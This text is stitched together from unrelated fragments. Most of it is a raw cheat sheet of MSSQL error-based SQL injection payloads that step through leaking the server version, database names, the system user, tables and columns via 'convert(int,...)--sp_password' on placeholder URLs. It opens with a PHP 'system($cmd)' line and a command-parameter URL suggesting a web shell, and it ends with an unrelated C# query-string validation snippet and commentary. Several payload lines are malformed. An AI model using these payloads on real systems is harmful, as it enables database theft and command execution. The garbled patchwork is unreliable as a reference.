system($cmd);

www.victim.com/forum/faq.php?cmd=[command]

and 1=convert(int,@@version)--sp_password

and 1=convert(int,@@servername)--sp_password

http://site.com/view.cfm?id=56 and 1=convert(int,@@servername)--sp_password

and 1=convert(int,db_name())--sp_password
and 1=convert(int,db_name(1))--sp_password
and 1=convert(int,db_name(2))--sp_password
and 1=convert(int,db_name(3))--sp_password
and 1=convert(int,db_name(4))--sp_password

http://site.com/view.cfm?id=56 and 1=convert(int,db_name())--sp_password
http://site.com/view.cfm?id=56 and 1=convert(int,db_name(2))--sp_password

and 1=convert(int,system_user)--sp_password

http://site.com/view.cfm?id=56 and 1=convert(int,system_user)--sp_password

and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password

http://site.com/view.cfm?id=56 and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password

and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("FIRST-TABLE-HERE")))--sp_password

http://site.com/view.cfm|id=56 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("FIRST-TABLE-HERE")))--sp_password

and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('table1,'Table2')))--sp_password 

and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("Second-Table-Here")))--sp_password

http://site.com/view.cfm?id=56 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("Second-Table-Here")))--sp_password

and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE")))--sp_password

http://site.com/view.cfm?id=56 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE")))--sp_password

and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE") and column_name not in ("FIRST-COLUMNS-HERE")))--sp_password

http://site.com/view.cfm?id=56and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE") and column_name not in ("FIRST-COLUMNS-HERE")))--sp_password

and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE") and column_name not in ("SECOND-COLUMNS-HERE")))--sp_password

http://site.com/view.cfm?id=56and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE") and column_name not in ("SECOND-COLUMNS-HERE")))--sp_password

private bool checkValueQS(string QS)
{

Regex r = new Regex("[^0-9a-zA-Z]");

// Find a single match in the string.

Match m = r.Match(QS);  

if (m.Success)  

{

 return true;

}

return false;

}
This isn't Rocket Science -- it's pretty easy in concept. All I'm doing is trying a NOT match against the numbers 0-9 and valid letters a-z and A-Z. Anything else is forbidden. You can then redirect your malicious end user who was trying to pass in the 'ol script tags.
Try this the next time you want to check up on Lumpy:
private void Page_Load(object sender, System.EventArgs e)

{

if (Request.QueryString["fName"] != null)

{                

if (checkValueQS(Request.QueryString["fName"].ToString()) == false)

{

 Response.Write("Hello " + Request.QueryString["fName"]);

 }

 else

 {

 Response.Write("Hello... JERK!");

  }

}

}